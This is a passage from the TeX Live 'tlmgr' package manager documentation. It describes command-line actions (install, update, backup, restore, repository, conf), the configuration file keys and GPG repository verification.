Activates user mode for this run of tlmgr; see “USER MODE” below.

–usertree dir
Uses dir for the tree in user mode; see “USER MODE” below.

–verify-repo=[none|main|all]
Defines the level of verification done: If none is specified, no verification whatsoever is done. If main is given and a working GnuPG (gpg) binary is available, all repositories are checked, but only the main repository is required to be signed. If all is given, then all repositories need to be signed. See “CRYPTOGRAPHIC VERIFICATION” below for details.

The standard options for TeX Live programs are also accepted: --help/-h/-?, --version, -q (no informational messages), -v (debugging messages, can be repeated). For the details about these, see the TeXLive::TLUtils documentation.

The --version option shows version information about the TeX Live release and about the tlmgr script itself. If -v is also given, revision number for the loaded TeX Live Perl modules are shown, too.

ACTIONS

help

Display this help information and exit (same as --help, and on the web at <https://tug.org/texlive/doc/tlmgr.html>). Sometimes the perldoc and/or PAGER programs on the system have problems, resulting in control characters being literally output. This can’t always be detected, but you can set the NOPERLDOC environment variable and perldoc will not be used.

version

Gives version information (same as --version).

If -v has been given the revisions of the used modules are reported, too.

backup

backup [option…] –all

backup [option…] pkg…

If the --clean option is not specified, this action makes a backup of the given packages, or all packages given --all. These backups are saved to the value of the --backupdir option, if that is an existing and writable directory. If --backupdir is not given, the backupdir option setting in the TLPDB is used, if present. If both are missing, no backups are made. (The installer sets backupdir to .../tlpkg/backups, under the TL root installation directory, so it is usually defined; see the “option” description for more information.) If the --clean option is specified, backups are pruned (removed) instead of saved. The optional integer value N may be specified to set the number of backups that will be retained when cleaning. If N is not given, the value of the autobackup option is used. If both are missing, an error is issued. For more details of backup pruning, see the option action. Options:

–backupdir directory
Overrides the backupdir option setting in the TLPDB. The directory argument is required and must specify an existing, writable directory where backups are to be placed.

–all
If --clean is not specified, make a backup of all packages in the TeX Live installation; this will take quite a lot of space and time. If --clean is specified, all packages are pruned.

–clean[=N]
Instead of making backups, prune the backup directory of old backups, as explained above. The optional integer argument N overrides the autobackup option set in the TLPDB. You must use --all or a list of packages together with this option, as desired.

–dry-run
Nothing is actually backed up or removed; instead, the actions to be performed are written to the terminal.

bug [search-string]

Searches for search-string (prompted for, if not given) as a package name and in package descriptions, as complete words, and in filenames, as any substring, and outputs bug-reporting and other information for the package selected from the results.

The search is equivalent to tlmgr search --word --file search-string. Thus, search-string is interpreted as a (Perl) regular expression.

candidates pkg

Shows the available candidate repositories for package pkg. See “MULTIPLE REPOSITORIES” below.

check [option…] [depends|executes|files|runfiles|texmfdbs|all]

Execute one (or all) check(s) of the consistency of the installation. If no problems are found, there will be no output. (To get a view of what is being done, run tlmgr -v check.)

depends
Lists those packages which occur as dependencies in an installed collection, but are themselves not installed, and those packages which are not contained in any collection. If you call tlmgr check collections this test will be carried out instead since former versions for tlmgr called it that way.

executes
Check that the files referred to by execute directives in the TeX Live Database are present.

files
Checks that all files listed in the local TLPDB (texlive.tlpdb) are actually present, and lists those missing.

runfiles
List those filenames that are occurring more than one time in the runfiles sections, except for known duplicates.

texmfdbs
Checks related to the ls-R files. If you have defined new trees, or changed the TEXMF or TEXMFDBS variables, it can’t hurt to run this. It checks that:

- all items in “TEXMFDBS” have the “!!” prefix.

- all items in “TEXMFBDS” have an “ls-R” file (if they exist at all).

- all items in “TEXMF” with “!!” are listed in “TEXMFDBS”.

- all items in “TEXMF” with an “ls-R” file are listed in “TEXMFDBS”.

Options:

–use-svn
Use the output of svn status instead of listing the files; for checking the TL development repository. (This is run nightly.)

conf

conf [texmf|tlmgr|updmap [–conffile file] [–delete] [key [value]]]

conf auxtrees [–conffile file] [show|add|remove] [value]

With only conf, show general configuration information for TeX Live, including active configuration files, path settings, and more. This is like running texconfig conf, but works on all supported platforms. With one of conf texmf, conf tlmgr, or conf updmap, shows all key/value pairs (i.e., all settings) as saved in ROOT/texmf.cnf, the user-specific tlmgr configuration file (see below), or the first found (via kpsewhich) updmap.cfg file, respectively. If key is given in addition, shows the value of only that key in the respective file. If option –delete is also given, the value in the given configuration file is entirely removed (not just commented out). If value is given in addition, key is set to value in the respective file. No error checking is done! The PATH value shown by conf is as used by tlmgr. The directory in which the tlmgr executable is found is automatically prepended to the PATH value inherited from the environment. Here is a practical example of changing configuration values. If the execution of (some or all) system commands via \write18 was left enabled during installation, you can disable it afterwards: tlmgr conf texmf shell_escape 0 The subcommand auxtrees allows adding and removing arbitrary additional texmf trees, completely under user control. auxtrees show shows the list of additional trees, auxtrees add tree adds a tree to the list, and auxtrees remove tree removes a tree from the list (if present). The trees should not contain an ls-R file (or files will not be found if the ls-R becomes stale). This works by manipulating the Kpathsea variable TEXMFAUXTREES, in (by default) ROOT/texmf.cnf. Example: tlmgr conf auxtrees add /quick/test/tree tlmgr conf auxtrees remove /quick/test/tree In all cases the configuration file can be explicitly specified via the option --conffile file, e.g., if you don’t want to change the system-wide configuration. Warning: The general facility for changing configuration values is here, but tinkering with settings in this way is strongly discouraged. Again, no error checking on either keys or values is done, so any sort of breakage is possible.

dump-tlpdb [option…] [–json]

Dump complete local or remote TLPDB to standard output, as-is. The output is analogous to the --machine-readable output; see “MACHINE-READABLE OUTPUT” section.

Options:

–local
Dump the local TLPDB.

–remote
Dump the remote TLPDB.

–json
Instead of dumping the actual content, the database is dumped as JSON. For the format of JSON output see tlpkg/doc/json-formats.txt, format definition TLPDB.

Exactly one of --local and --remote must be given.

In either case, the first line of the output specifies the repository location, in this format:

“location-url” " " location

where location-url is the literal field name, followed by a tab, and location is the file or url to the repository.

Line endings may be either LF or CRLF depending on the current platform.

generate

generate [option…] language

generate [option…] language.dat

generate [option…] language.def

generate [option…] language.dat.lua

The generate action overwrites any manual changes made in the respective files: it recreates them from scratch based on the information of the installed packages, plus local adaptions. The TeX Live installer and tlmgr routinely call generate for all of these files.

For managing your own fonts, please read the updmap --help information and/or <https://tug.org/fonts/fontinstall.html>.

For managing your own formats, please read the fmtutil --help information.

In more detail: generate remakes any of the configuration files language.dat, language.def, and language.dat.lua from the information present in the local TLPDB, plus locally-maintained files.

The locally-maintained files are language-local.dat, language-local.def, or language-local.dat.lua, searched for in TEXMFLOCAL in the respective directories. If local additions are present, the final file is made by starting with the main file, omitting any entries that the local file specifies to be disabled, and finally appending the local file.

(Historical note: The formerly supported updmap-local.cfg and fmtutil-local.cnf are no longer read, since updmap and fmtutil now reads and supports multiple configuration files. Thus, local additions can and should be put into an updmap.cfg of fmtutil.cnf file in TEXMFLOCAL. The generate updmap and generate fmtutil actions no longer exist.)

Local files specify entries to be disabled with a comment line, namely one of these:

%!NAME –!NAME

where language.dat and language.def use %, and language.dat.lua use --. In all cases, the name is the respective format name or hyphenation pattern identifier. Examples:

%!german –!usenglishmax

(Of course, you’re not likely to actually want to disable those particular items. They’re just examples.)

After such a disabling line, the local file can include another entry for the same item, if a different definition is desired. In general, except for the special disabling lines, the local files follow the same syntax as the master files.

The form generate language recreates all three files language.dat, language.def, and language.dat.lua, while the forms with an extension recreates only that given language file.

Options:

–dest output_file
specifies the output file (defaults to the respective location in TEXMFSYSVAR). If --dest is given to generate language, it serves as a basename onto which .dat will be appended for the name of the language.dat output file, .def will be appended to the value for the name of the language.def output file, and .dat.lua to the name of the language.dat.lua file. (This is just to avoid overwriting; if you want a specific name for each output file, we recommend invoking tlmgr twice.)

–localcfg local_conf_file
specifies the (optional) local additions (defaults to the respective location in TEXMFLOCAL).

–rebuild-sys
tells tlmgr to run necessary programs after config files have been regenerated. These are: fmtutil-sys --all after generate fmtutil, fmtutil-sys --byhyphen .../language.dat after generate language.dat, and fmtutil-sys --byhyphen .../language.def after generate language.def. These subsequent calls cause the newly-generated files to actually take effect. This is not done by default since those calls are lengthy processes and one might want to made several related changes in succession before invoking these programs.

The respective locations are as follows:

tex/generic/config/language.dat (and language-local.dat) tex/generic/config/language.def (and language-local.def) tex/generic/config/language.dat.lua (and language-local.dat.lua)

gui

Start the graphical user interface. See GUI below.

info

info [option…] pkg…

info [option…] collections

info [option…] schemes

With no argument, lists all packages available at the package repository, prefixing those already installed with i. With the single word collections or schemes as the argument, lists the request type instead of all packages. With any other arguments, display information about pkg: the name, category, short and long description, sizes, installation status, and TeX Live revision number. If pkg is not locally installed, searches in the remote installation source. For normal packages (not collections or schemes), the sizes of the four groups of files (run/src/doc/bin files) are shown separately. For collections, the cumulative size is shown, including all directly-dependent packages (but not dependent collections). For schemes, the cumulative size is also shown, including all directly-dependent collections and packages. If pkg is not found locally or remotely, the search action is used and lists matching packages and files. It also displays information taken from the TeX Catalogue, namely the package version, date, and license. Consider these, especially the package version, as approximations only, due to timing skew of the updates of the different pieces. By contrast, the revision value comes directly from TL and is reliable. The former actions show and list are merged into this action, but are still supported for backward compatibility. Options:

–list
If the option --list is given with a package, the list of contained files is also shown, including those for platform-specific dependencies. When given with schemes and collections, --list outputs their dependencies in a similar way.

–only-installed
If this option is given, the installation source will not be used; only locally installed packages, collections, or schemes are listed.

–only-remote
Only list packages from the remote repository. Useful when checking what is available in a remote repository using tlmgr --repo ... --only-remote info. Note that --only-installed and --only-remote cannot both be specified.

–data “item1,item2,…”
If the option --data is given, its argument must be a comma or colon separated list of field names from: name, category, localrev, remoterev, shortdesc, longdesc, installed, size, relocatable, depends, cat-version, cat-date, cat-license, plus various cat-contact-* fields (see below). The cat-* fields all come from the TeX Catalogue (<https://ctan.org/pkg/catalogue>). For each, there are two more variants with prefix l and r, e.g., lcat-version and rcat-version, which indicate the local and remote information, respectively. The variants without l and r show the most current one, which is normally the remote value. The requested packages’ information is listed in CSV format, one package per line, and the column information is given by the itemN. The depends column contains the names of all the dependencies separated by : characters. At this writing, the cat-contact-* fields include: home, repository, support, bugs, announce, development. Each may be empty or a url value. A brief description is on the CTAN upload page for new packages: <https://ctan.org/upload>.

–json
If --json is specified, the output is a JSON encoded array where each array element is the JSON representation of a single TLPOBJ but with additional information. For details see tlpkg/doc/json-formats.txt, format definition: TLPOBJINFO. If both --json and --data are given, --json takes precedence.

init-usertree

Sets up a texmf tree for so-called user mode management, either the default user tree (TEXMFHOME), or one specified on the command line with --usertree. See “USER MODE” below.

install [option…] pkg

Install each pkg given on the command line, if it is not already installed. It does not touch existing packages; see the update action for how to get the latest version of a package.

By default this also installs all packages on which the given pkgs are dependent. Options:

–dry-run
Nothing is actually installed; instead, the actions to be performed are written to the terminal.

–file
Instead of fetching a package from the installation repository, use the package files given on the command line. These files must be standard TeX Live package files (with contained tlpobj file).

–force
If updates to tlmgr itself (or other parts of the basic infrastructure) are present, tlmgr will bail out and not perform the installation unless this option is given. Not recommended.

–no-depends
Do not install dependencies. (By default, installing a package ensures that all dependencies of this package are fulfilled.)

–no-depends-at-all
Normally, when you install a package which ships binary files the respective binary package will also be installed. That is, for a package foo, the package foo.i386-linux will also be installed on an i386-linux system. This option suppresses this behavior, and also implies --no-depends. Don’t use it unless you are sure of what you are doing.

–reinstall
Reinstall a package (including dependencies for collections) even if it already seems to be installed (i.e, is present in the TLPDB). This is useful to recover from accidental removal of files in the hierarchy. When re-installing, only dependencies on normal packages are followed (i.e., not those of category Scheme or Collection).

–with-doc

–with-src

While not recommended, the install-tl program provides an option to omit installation of all documentation and/or source files. (By default, everything is installed.) After such an installation, you may find that you want the documentation or source files for a given package after all. You can get them by using these options in conjunction with --reinstall, as in (using the fontspec package as the example): tlmgr install –reinstall –with-doc –with-src fontspec

This action does not automatically add new symlinks in system directories; you need to run tlmgr path add (“path”) yourself if you are using this feature and want new symlinks added.

key

key list

key add file

key remove keyid

The action key allows listing, adding and removing additional GPG keys to the set of trusted keys, that is, those that are used to verify the TeX Live databases. With the list argument, key lists all keys. The add argument requires another argument, either a filename or - for stdin, from which the key is added. The key is added to the local keyring GNUPGHOME/repository-keys.gpg, which is normally tlpkg/gpg/repository-keys.gpg. The remove argument requires a key id and removes the requested id from the local keyring.

list

Synonym for “info”.

option

option [–json] [show]

option [–json] showall|help

option key [value]

The first form, show, shows the global TeX Live settings currently saved in the TLPDB with a short description and the key used for changing it in parentheses.

The second form, showall, is similar, but also shows options which can be defined but are not currently set to any value (help is a synonym).

Both show... forms take an option --json, which dumps the option information in JSON format. In this case, both forms dump the same data. For the format of the JSON output see tlpkg/doc/json-formats.txt, format definition TLOPTION.

In the third form, with key, if value is not given, the setting for key is displayed. If value is present, key is set to value.

Possible values for key are (run tlmgr option showall for the definitive list):

repository (default package repository), formats (generate formats at installation or update time), postcode (run postinst code blobs) docfiles (install documentation files), srcfiles (install source files), backupdir (default directory for backups), autobackup (number of backups to keep). sys_bin (directory to which executables are linked by the path action) sys_man (directory to which man pages are linked by the path action) sys_info (directory to which Info files are linked by the path action) desktop_integration (Windows-only: create Start menu shortcuts) fileassocs (Windows-only: change file associations) multiuser (Windows-only: install for all users)

One common use of option is to permanently change the installation to get further updates from the Internet, after originally installing from DVD. To do this, you can run

tlmgr option repository https://mirror.ctan.org/systems/texlive/tlnet

The install-tl documentation has more information about the possible values for repository. (For backward compatibility, location can be used as a synonym for repository.)

If formats is set (this is the default), then formats are regenerated when either the engine or the format files have changed. Disable this only when you know how and want to regenerate formats yourself whenever needed (which is often, in practice).

The postcode option controls execution of per-package postinstallation action code. It is set by default, and again disabling is not likely to be of interest except to developers doing debugging.

The docfiles and srcfiles options control the installation of their respective file groups (documentation, sources; grouping is approximate) per package. By default both are enabled (1). Either or both can be disabled (set to 0) if disk space is limited or for minimal testing installations, etc. When disabled, the respective files are not downloaded at all.

The options autobackup and backupdir determine the defaults for the actions update, backup and restore. These three actions need a directory in which to read or write the backups. If --backupdir is not specified on the command line, the backupdir option value is used (if set). The TL installer sets backupdir to .../tlpkg/backups, under the TL root installation directory.

The autobackup option (de)activates automatic generation of backups. Its value is an integer. If the autobackup value is -1, no backups are removed. If autobackup is 0 or more, it specifies the number of backups to keep. Thus, backups are disabled if the value is 0. In the --clean mode of the backup action this option also specifies the number to be kept. The default value is 1, so that backups are made, but only one backup is kept.

To setup autobackup to -1 on the command line, use:

tlmgr option – autobackup -1

The -- avoids having the -1 treated as an option. (The -- stops parsing for options at the point where it appears; this is a general feature across most Unix programs.)

The sys_bin, sys_man, and sys_info options are used on Unix systems to control the generation of links for executables, Info files and man pages. See the path action for details.

The last three options affect behavior on Windows installations. If desktop_integration is set, then some packages will install items in a sub-folder of the Start menu for tlmgr gui, documentation, etc. If fileassocs is set, Windows file associations are made (see also the postaction action). Finally, if multiuser is set, then adaptions to the registry and the menus are done for all users on the system instead of only the current user. All three options are on by default.

paper

paper [a4|letter]

<[xdvi|pdftex|dvips|dvipdfmx|context|psutils] paper [papersize|–list]>

paper –json

With no arguments (tlmgr paper), shows the default paper size setting for all known programs.

With one argument (e.g., tlmgr paper a4), sets the default for all known programs to that paper size.

With a program given as the first argument and no paper size specified (e.g., tlmgr dvips paper), shows the default paper size for that program.

With a program given as the first argument and a paper size as the last argument (e.g., tlmgr dvips paper a4), set the default for that program to that paper size.

With a program given as the first argument and --list given as the last argument (e.g., tlmgr dvips paper --list), shows all valid paper sizes for that program. The first size shown is the default.

If --json is specified without other options, the paper setup is dumped in JSON format. For the format of JSON output see tlpkg/doc/json-formats.txt, format definition TLPAPER.

Incidentally, this syntax of having a specific program name before the paper keyword is unusual. It is inherited from the longstanding texconfig script, which supports other configuration settings for some programs, notably dvips. tlmgr does not support those extra settings.

path

path [–windowsmode=user|admin] add

path [–windowsmode=user|admin] remove

On Unix, adds or removes symlinks for executables, man pages, and info pages in the system directories specified by the respective options (see the “option” description above). Does not change any initialization files, either system or personal. Furthermore, any executables added or removed by future updates are not taken care of automatically; this command must be rerun as needed. On Windows, the registry part where the binary directory is added or removed is determined in the following way: If the user has admin rights, and the option --windowsmode is not given, the setting w32_multi_user determines the location (i.e., if it is on then the system path, otherwise the user path is changed). If the user has admin rights, and the option --windowsmode is given, this option determines the path to be adjusted. If the user does not have admin rights, and the option --windowsmode is not given, and the setting w32_multi_user is off, the user path is changed, while if the setting w32_multi_user is on, a warning is issued that the caller does not have enough privileges. If the user does not have admin rights, and the option --windowsmode is given, it must be user and the user path will be adjusted. If a user without admin rights uses the option --windowsmode admin a warning is issued that the caller does not have enough privileges.

pinning

The pinning action manages the pinning file, see “Pinning” below.

“pinning show”
Shows the current pinning data.

“pinning add” repo pkgglob…
Pins the packages matching the pkgglob(s) to the repository repo.

“pinning remove” repo pkgglob…
Any packages recorded in the pinning file matching the <pkgglob>s for the given repository repo are removed.

“pinning remove repo –all”
Remove all pinning data for repository repo.

platform

platform list|add|remove platform…

platform set platform

platform set auto

platform list lists the TeX Live names of all the platforms (a.k.a. architectures), (i386-linux, …) available at the package repository. platform add platform… adds the executables for each given platform platform to the installation from the repository. platform remove platform… removes the executables for each given platform platform from the installation, but keeps the currently running platform in any case. platform set platform switches TeX Live to always use the given platform instead of auto detection. platform set auto switches TeX Live to auto detection mode for platform. Platform detection is needed to select the proper xz and wget binaries that are shipped with TeX Live. arch is a synonym for platform. Options:

–dry-run
Nothing is actually installed; instead, the actions to be performed are written to the terminal.

postaction

postaction [option…] install [shortcut|fileassoc|script] [pkg…]

postaction [option…] remove [shortcut|fileassoc|script] [pkg…]

Carry out the postaction shortcut, fileassoc, or script given as the second required argument in install or remove mode (which is the first required argument), for either the packages given on the command line, or for all if --all is given. Options:

–windowsmode=[user|admin]
If the option --windowsmode is given the value user, all actions will only be carried out in the user-accessible parts of the registry/filesystem, while the value admin selects the system-wide parts of the registry for the file associations. If you do not have enough permissions, using --windowsmode=admin will not succeed.

–fileassocmode=[1|2]
--fileassocmode specifies the action for file associations. If it is set to 1 (the default), only new associations are added; if it is set to 2, all associations are set to the TeX Live programs. (See also option fileassocs.)

–all
Carry out the postactions for all packages

Print the TeX Live identifier for the detected platform (hardware/operating system) combination to standard output, and exit. --print-arch is a synonym.

Print the TeX Live platform identifier, TL platform long name, and original output from guess.

remove [option…] pkg

Remove each pkg specified. Removing a collection removes all package dependencies (unless --no-depends is specified), but not any collection dependencies of that collection. However, when removing a package, dependencies are never removed. Options:

–all
Uninstalls all of TeX Live, asking for confirmation unless --force is also specified.

–backup

–backupdir directory

These options behave just as with the update action (q.v.), except they apply to making backups of packages before they are removed. The default is to make such a backup, that is, to save a copy of packages before removal. The “restore” action explains how to restore from a backup.

–no-depends
Do not remove dependent packages.

–no-depends-at-all
See above under install (and beware).

–force
By default, removal of a package or collection that is a dependency of another collection or scheme is not allowed. With this option, the package will be removed unconditionally. Use with care. A package that has been removed using the --force option because it is still listed in an installed collection or scheme will not be updated, and will be mentioned as forcibly removed in the output of tlmgr update --list.

–dry-run
Nothing is actually removed; instead, the actions to be performed are written to the terminal.

Except with --all, this remove action does not automatically remove symlinks to executables from system directories; you need to run tlmgr path remove (“path”) yourself if you remove an individual package with a symlink in a system directory.

repository

repository list

repository list path|url|tag

repository add path [tag]

repository remove path|tag

repository set path[#tag] [path[#tag] …]

repository status

This action manages the list of repositories. See MULTIPLE REPOSITORIES below for detailed explanations. The first form, repository list, lists all configured repositories and the respective tags if set. If a path, url, or tag is given after the list keyword, it is interpreted as the source from which to initialize a TL database and lists the contained packages. This can also be an otherwise-unused repository, either local or remote. If the option --with-platforms is specified in addition, for each package the available platforms (if any) are also listed. The form repository add adds a repository (optionally attaching a tag) to the list of repositories, while repository remove removes a repository, either by full path/url, or by tag. The form repository set sets the list of available repositories to the items given on the command line, overwriting previous settings. The form repository status reports the verification status of the loaded repositories with the format of one repository per line with fields separated by a single space:

The tag (which can be the same as the url);
= the url; = iff machine-readable output is specified, the verification code (a number); = a textual description of the verification status, as the last field extending to the end of line.

That is, in normal (not machine-readable) output, the third field (numeric verification status) is not present. In all cases, one of the repositories must be tagged as main; otherwise, all operations will fail!

restore

restore [option…] pkg [rev]

restore [option…] –all

Restore a package from a previously-made backup. If --all is given, try to restore the latest revision of all package backups found in the backup directory. Otherwise, if neither pkg nor rev are given, list the available backup revisions for all packages. With pkg given but no rev, list all available backup revisions of pkg. When listing available packages, tlmgr shows the revision, and in parenthesis the creation time if available (in format yyyy-mm-dd hh:mm). If (and only if) both pkg and a valid revision number rev are specified, try to restore the package from the specified backup. Options:

–all
Try to restore the latest revision of all package backups found in the backup directory. Additional non-option arguments (like pkg) are not allowed.

–backupdir directory
Specify the directory where the backups are to be found. If not given it will be taken from the configuration setting in the TLPDB.

–dry-run
Nothing is actually restored; instead, the actions to be performed are written to the terminal.

–force
Don’t ask questions.

–json
When listing backups, the option --json writes JSON output. The format is an array of JSON objects (name, rev, date). For details see tlpkg/doc/json-formats.txt, format definition: TLBACKUPS. If both --json and --data are given, --json takes precedence.

search [option…] what

search [option…] –file what

search [option…] –all what

By default, search the names, short descriptions, and long descriptions of all locally installed packages for the argument what, interpreted as a (Perl) regular expression. Options:

–file
List all filenames containing what.

–all
Search everything: package names, descriptions and filenames.

–global
Search the TeX Live Database of the installation medium, instead of the local installation.

–word
Restrict the search of package names and descriptions (but not filenames) to match only full words. For example, searching for table with this option will not output packages containing the word tables (unless they also contain the word table on its own).

–json
Output search results as a JSON hash with two keys: files and packages. For the format of the JSON output see tlpkg/doc/json-formats.txt, format definition TLSEARCH.

shell

Starts an interactive mode, where tlmgr prompts for commands. This can be used directly, or for scripting. The first line of output is protocol n, where n is an unsigned number identifying the protocol version (currently 1).

In general, tlmgr actions that can be given on the command line translate to commands in this shell mode. For example, you can say update --list to see what would be updated. The TLPDB is loaded the first time it is needed (not at the beginning), and used for the rest of the session.

Besides these actions, a few commands are specific to shell mode:

protocol
Print protocol n, the current protocol version.

help
Print pointers to this documentation.

version
Print tlmgr version information.

quit, end, bye, byebye, EOF
Exit.

restart
Restart tlmgr shell with the original command line; most useful when developing tlmgr.

load [local|remote]
Explicitly load the local or remote, respectively, TLPDB.

save
Save the local TLPDB, presumably after other operations have changed it.

get [var] =item set [var [val]]
Get the value of var, or set it to val. Possible var names: debug-translation, machine-readable, no-execute-actions, require-verification, verify-downloads, repository, and prompt. All except repository and prompt are booleans, taking values 0 and 1, and behave like the corresponding command line option. The repository variable takes a string, and sets the remote repository location. The prompt variable takes a string, and sets the current default prompt. If var or then val is not specified, it is prompted for.

show

Synonym for “info”.

uninstall

Synonym for remove.

update [option…] [pkg…]

Updates the packages given as arguments to the latest version available at the installation source. Either --all or at least one pkg name must be specified. Options:

–all
Update all installed packages except for tlmgr itself. If updates to tlmgr itself are present, this gives an error, unless also the option --force or --self is given. (See below.) In addition to updating the installed packages, during the update of a collection the local installation is (by default) synchronized to the status of the collection on the server, for both additions and removals. This means that if a package has been removed on the server (and thus has also been removed from the respective collection), tlmgr will remove the package in the local installation. This is called ``auto-remove’’ and is announced as such when using the option --list. This auto-removal can be suppressed using the option --no-auto-remove (not recommended, see option description). Analogously, if a package has been added to a collection on the server that is also installed locally, it will be added to the local installation. This is called ``auto-install’’ and is announced as such when using the option --list. This auto-installation can be suppressed using the option --no-auto-install (also not recommended). An exception to the collection dependency checks (including the auto-installation of packages just mentioned) are those that have been ``forcibly removed’’ by you, that is, you called tlmgr remove --force on them. (See the remove action documentation.) To reinstall any such forcibly removed packages use --reinstall-forcibly-removed. To reiterate: automatic removals and additions are entirely determined by comparison of collections. Thus, if you manually install an individual package foo which is later removed from the server, tlmgr will not notice and will not remove it locally. (It has to be this way, without major rearchitecture work, because the tlpdb does not record the repository from which packages come from.) If you want to exclude some packages from the current update run (e.g., due to a slow link), see the --exclude option below.

–self
Update tlmgr itself (that is, the infrastructure packages) if updates to it are present. On Windows this includes updates to the private Perl interpreter shipped inside TeX Live. If this option is given together with either --all or a list of packages, then tlmgr will be updated first and, if this update succeeds, the new version will be restarted to complete the rest of the updates. In short: tlmgr update –self # update infrastructure only tlmgr update –self –all # update infrastructure and all packages tlmgr update –force –all # update all packages but *not* infrastructure # … this last at your own risk, not recommended!

–dry-run
Nothing is actually installed; instead, the actions to be performed are written to the terminal. This is a more detailed report than --list.

–list [pkg]
Concisely list the packages which would be updated, newly installed, or removed, without actually changing anything. If --all is also given, all available updates are listed. If --self is given, but not --all, only updates to the critical packages (tlmgr, texlive infrastructure, perl on Windows, etc.) are listed. If neither --all nor --self is given, and in addition no pkg is given, then --all is assumed (thus, tlmgr update --list is the same as tlmgr update --list --all). If neither --all nor --self is given, but specific package names are given, those packages are checked for updates.

–exclude pkg
Exclude pkg from the update process. If this option is given more than once, its arguments accumulate. An argument pkg excludes both the package pkg itself and all its related platform-specific packages pkg.ARCH. For example, tlmgr update –all –exclude a2ping will not update a2ping, a2ping.i386-linux, or any other a2ping.ARCH package. If this option specifies a package that would otherwise be a candidate for auto-installation, auto-removal, or reinstallation of a forcibly removed package, tlmgr quits with an error message. Excludes are not supported in these circumstances. This option can also be set permanently in the tlmgr config file with the key update-exclude.

–no-auto-remove [pkg…]
By default, tlmgr tries to remove packages in an existing collection which have disappeared on the server, as described above under --all. This option prevents such removals, either for all packages (with --all), or for just the given pkg names. This can lead to an inconsistent TeX installation, since packages are not infrequently renamed or replaced by their authors. Therefore this is not recommended.

–no-auto-install [pkg…]
Under normal circumstances tlmgr will install packages which are new on the server, as described above under --all. This option prevents any such automatic installation, either for all packages (with --all), or the given pkg names. Furthermore, after the tlmgr run using this has finished, the packages that would have been auto-installed will be considered as forcibly removed. So, if foobar is the only new package on the server, then tlmgr update –all –no-auto-install is equivalent to tlmgr update –all tlmgr remove –force foobar Again, since packages are sometimes renamed or replaced, using this option is not recommended.

–reinstall-forcibly-removed
Under normal circumstances tlmgr will not install packages that have been forcibly removed by the user; that is, removed with remove –force, or whose installation was prohibited by --no-auto-install during an earlier update. This option makes tlmgr ignore the forcible removals and re-install all such packages. This can be used to completely synchronize an installation with the server’s idea of what is available: tlmgr update –reinstall-forcibly-removed –all

–backup

–backupdir directory

These two options control the creation of backups of packages before updating; that is, backing up packages as currently installed. If neither option is given, no backup will made. If --backupdir is given and specifies a writable directory then a backup will be made in that location. If only --backup is given, then a backup will be made to the directory previously set via the “option” action (see below). If both are given then a backup will be made to the specified directory. You can also set options via the “option” action to automatically make backups for all packages, and/or keep only a certain number of backups. tlmgr always makes a temporary backup when updating packages, in case of download or other failure during an update. In contrast, the purpose of this --backup option is to save a persistent backup in case the actual content of the update causes problems, e.g., introduces an TeX incompatibility. The “restore” action explains how to restore from a backup.

–no-depends
If you call for updating a package normally all depending packages will also be checked for updates and updated if necessary. This switch suppresses this behavior.

–no-depends-at-all
See above under install (and beware).

–force
Force update of normal packages, without updating tlmgr itself (unless the --self option is also given). Not recommended. Also, update --list is still performed regardless of this option.

If the package on the server is older than the package already installed (e.g., if the selected mirror is out of date), tlmgr does not downgrade. Also, packages for uninstalled platforms are not installed.

tlmgr saves one copy of the main texlive.tlpdb file used for an update with a suffix representing the repository url, as in tlpkg/texlive.tlpdb.main.long-hash-string. Thus, even when many mirrors are used, only one main tlpdb backup is kept. For non-main repositories, which do not generally have (m)any mirrors, no pruning of backups is done.

This action does not automatically add or remove new symlinks in system directories; you need to run tlmgr “path” yourself if you are using this feature and want new symlinks added.

CONFIGURATION FILE FOR TLMGR

tlmgr reads two configuration files: one is system-wide, in TEXMFSYSCONFIG/tlmgr/config, and the other is user-specific, in TEXMFCONFIG/tlmgr/config. The user-specific one is the default for the conf tlmgr action. (Run kpsewhich -var-value=TEXMFSYSCONFIG or ... TEXMFCONFIG ... to see the actual directory names.)

A few defaults corresponding to command-line options can be set in these configuration files. In addition, the system-wide file can contain a directive to restrict the allowed actions.

In these config files, empty lines and lines starting with # are ignored. All other lines must look like:

key = value

where the spaces are optional but the = is required.

The allowed keys are:

“auto-remove =” 0 or 1 (default 1), same as command-line option.

“gui-expertmode =” 0 or 1 (default 1). This switches between the full GUI and a simplified GUI with only the most common settings.

“gui-lang =” llcode, with a language code value as with the command-line option.

“no-checksums =” 0 or 1 (default 0, see below).

“persistent-downloads =” 0 or 1 (default 1), same as command-line option.

“require-verification =” 0 or 1 (default 0), same as command-line option.

“tkfontscale =” floating-point number (default 1.0); scaling factor for fonts in the Tk-based frontends.

“update-exclude =” comma-separated list of packages (no spaces allowed). Same as the command line option “–exclude” for the “update” action.

“verify-downloads =” 0 or 1 (default 1), same as command-line option.

The system-wide config file can contain one additional key:

“allowed-actions =” action1[,action2,…] The value is a comma-separated list (no spaces) of “tlmgr” actions which are allowed to be executed when “tlmgr” is invoked in system mode (that is, without “–usermode”). This allows distributors to include “tlmgr” in their packaging, but allow only a restricted set of actions that do not interfere with their distro package manager. For native TeX Live installations, it doesn’t make sense to set this.

Finally, the no-checksums key needs more explanation. By default, package checksums computed and stored on the server (in the TLPDB) are compared to checksums computed locally after downloading. no-checksums disables this process. The checksum algorithm is SHA-512. Your system must have one of (looked for in this order) the Perl Digest::SHA module, the openssl program (<https://openssl.org>), the sha512sum program (from GNU Coreutils, <https://www.gnu.org/software/coreutils>), or finally the shasum program (just to support old Macs). If none of these are available, a warning is issued and tlmgr proceeds without checking checksums. no-checksums avoids the warning. (Incidentally, other SHA implementations, such as the pure Perl and pure Lua modules, are much too slow to be usable in our context.)

CRYPTOGRAPHIC VERIFICATION

tlmgr and install-tl perform cryptographic verification if possible. If verification is performed and successful, the programs report (verified) after loading the TLPDB; otherwise, they report (not verified). But either way, by default the installation and/or updates proceed normally.

If a program named gpg is available (that is, found in PATH), by default cryptographic signatures will be checked: we require the main repository be signed, but not any additional repositories. If gpg is not available, by default signatures are not checked and no verification is carried out, but tlmgr still proceeds normally.

The behavior of the verification can be controlled by the command line and config file option verify-repo which takes one of the following values: none, main, or all. With none, no verification whatsoever is attempted. With main (the default) verification is required only for the main repository, and only if gpg is available; though attempted for all, missing signatures of subsidiary repositories will not result in an error. Finally, in the case of all, gpg must be available and all repositories need to be signed.

In all cases, if a signature is checked and fails to verify, an error is raised.

